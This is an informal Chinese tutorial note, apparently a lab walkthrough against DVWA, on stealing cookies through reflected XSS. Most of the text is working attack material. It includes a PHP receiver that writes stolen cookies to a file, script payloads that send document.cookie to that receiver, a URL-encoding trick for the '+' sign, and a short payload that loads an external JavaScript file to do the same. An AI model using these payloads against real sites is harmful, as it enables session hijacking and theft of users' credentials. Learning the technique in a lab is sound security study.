憨球,看这个
https://www.cnblogs.com/yuzly/p/10692449.html
里面的payload,差不多都试过了,稳得很。
xss就看这个了
1.最简单的反射性xss获取cookie
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
。好啦,这就反弹了。走了。
。。。
玩笑啦,还有如何发送到我们的服务器上面呢
漏洞页面只要又xss漏洞就好,比如上面那个就行
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
然后 获取cookie的php代码是
getCookie.php
获取get传入的cookie参数。
<?php
$cookie = $_GET['cookie'];
echo $cookie;
$log = fopen("cookie.txt", "w");
fwrite($log, $cookie ."\n");
fclose($log);
将cookie写入本地的一个txt文件中
?>
所以我们的注入的xss代码就是:
?name=<script>document.location='http://localhost/xssTesting/getCookie.php?cookie='+document.cookie;</script>
注意!!!!
shellcode里面cookie和原始url连接的时候,用的是+。
然而在浏览器的地址栏里,+可能被解析成空格。
所以我们需要把+替换成url编码%2b。
?name=<script>document.location='http://localhost/xssTesting/getCookie.php?cookie='%2bdocument.cookie;</script>
2.当限制输入长度的时候,可以用那篇文章中的加载外部js的那个,那个比较短,
就是这个:payload
<script src=http://localhost/j.js></script>
j.js的内容是:
var img = new Image();
img.src='http://localhost/xssTesting/getCookie.php?cookie='+document.cookie;
这个访问的php文件和上面那个一样的。内容没变。
我在网站的根目录下有个 j.js的文件,
然后这里dvwa一访问,调用外部js文件,就将信息发送给getcookie.php了,然后这个PHP脚本就会将信息写入本地的一个txt文件中,就可以看到cookie了